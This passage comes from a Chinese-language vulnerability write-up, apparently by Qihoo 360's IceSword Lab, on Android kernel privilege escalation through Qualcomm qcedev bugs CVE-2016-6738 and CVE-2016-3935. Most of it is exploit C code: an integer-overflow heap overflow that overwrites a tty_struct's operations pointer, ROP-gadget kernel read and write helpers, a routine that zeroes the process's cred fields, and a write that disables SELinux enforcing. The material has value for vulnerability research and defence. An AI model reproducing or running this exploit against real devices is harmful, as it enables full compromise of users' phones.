        arg = addr;
        ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
        return 0;
}

9*8 是 ioctl 函数在 file_operations 结构体里的偏移,

*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。

同样的原理,我们封装读任意内核地址的函数。

有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:

static int do_root(void)
{
        int ret; 
        unsigned long i, cred, addr;
        unsigned int tmp0;

        /* search myself */
        ret = get_task_by_comm(&my_task);
        if(ret != 0) {
                printf("[-] get myself fail!\n");
                return -1;
        }
        if(!my_task || (my_task < 0xffffffc000000000)) {
                printf("invalid task address!");
                return -2;
        }

        ret = kernel_read(my_task + cred_offset, &cred);
        if (cred < KERNEL_BASE) return -3;

        i = 1; 
        addr = cred + 4 * 4;
        ret = kernel_read_32(addr, &tmp0);
        if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
                i += 4;
        addr = cred + (i+0) * 4;
        ret = kernel_write_32(addr, 0);
        addr = cred + (i+1) * 4;
        ret = kernel_write_32(addr, 0);
...     
        ret = kernel_write_32(addr, 0xffffffff);
        addr = cred + (i+16) * 4;
        ret = kernel_write_32(addr, 0xffffffff);
        /* success! */

        // disable SELinux
        kernel_write_32(SELINUX_ENFORCING, 0);

        return 0;
}

搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct 的函数 get_task_by_comm 具体实现参考 github 的代码。

CVE-2016-3935 漏洞利用

这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。

在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构


include/linux/tty.h
struct tty_struct {
        int     magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;
...
}

在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个 struct tty_operations 的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。


#define TTY_MAGIC               0x5401
void trigger(int fd)
{

#define SIZE 632 // SIZE = sizeof(struct tty_struct)

        int ret, cmd, i;
        struct  qcedev_sha_op_req params;
        int *magic;
        unsigned long * ttydriver;
        unsigned long * ttyops;

        memset(&params, 0, sizeof(params));
        params.entries = 9;
        params.data_len = SIZE;
        params.authklen = 16;
        params.authkey = &trigger_buf[0];
        params.alg = QCEDEV_ALG_AES_CMAC;

// when tty_struct coming from kmalloc-4096
        magic =(int *) &trigger_buf[4096];
        *magic = TTY_MAGIC;
        ttydriver = (unsigned long*)&trigger_buf[4112];
        *ttydriver = &trigger_buf[0];
        ttyops = (unsigned long*)&trigger_buf[4120];
        *ttyops = fake_ptm_fops;
        params.data[0].len = 4128;
        params.data[0].vaddr = &trigger_buf[0];
        params.data[1].len = 536867423 ;
        params.data[1].vaddr = NULL;
        for (i = 2; i < params.entries; i++) {
                params.data[i].len = 0x1fffffff;
                params.data[i].vaddr = NULL;
        }

        cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
        ret = ioctl(fd, cmd, &params);
        if(ret<0) {
                printf("[-] ioctl fail %s\n",strerror(errno));
                return;
        }
        printf("[+] succ trigger\n");
}

4128 + 536867423 + 7 * 0x1fffffff = 632

溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff

这样他们加起来溢出之后的值就是 632, 这个长度刚好是 struct tty_struct 的长度,我们用 qcedev_sha_op_req.data[0].vaddr[4096]这个数据来填充被溢出的 tty_struct 的内容

主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype 的 tty_operations 指针,我们将这个指针覆盖为伪指针fake_ptm_fops.

之后的提权操作与 cve-2016-6738 类似,


include/linux/tty_driver.h

struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                        struct inode *inode, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                      const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                    unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                             unsigned int cmd, unsigned long arg);
...
}

如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。


#define ioctl_syscall(n, efd, cmd, arg) \
        eabi_syscall(n, efd, cmd, arg)
ENTRY(eabi_syscall)
        mov     x8, x0
        mov     x0, x1
        mov     x1, x2
        mov     x2, x3
        mov     x3, x4
        mov     x4, x5
        mov     x5, x6
        svc     #0x0
        ret
END(eabi_syscall)

/* 
 * rop write
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE               0xffffffc000671a58

static int kernel_write_32(unsigned long addr, unsigned int val)
{
        unsigned long arg;

        *(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;

        arg = addr;
        ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
        return 0;
}

同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。

/*
 * rop read
 * ffffffc000300060:       f9405440        ldr     x0, [x2,#168]
 * ffffffc000300064:       d65f03c0        ret
 */
#define ROP_READ                0xffffffc000300060

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
        int ret;
        unsigned long arg;

        *(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
        arg = addr - 168;
        errno = 0;
        ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
        *val = ret;
        return 0;
}

最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权。

参考

  1. android_run_root_shell
  2. xairy
  3. New Reliable Android Kernel Root Exploitation Techniques

 

【本文《高通加解密引擎提权漏洞解析》由360核心安全入驻安全脉搏账号发布 作者 : jiayy(@chengjia4574) from IceSword Lab ,Qihoo 360  转载注明来源安全脉搏

源链接

Hacking more

...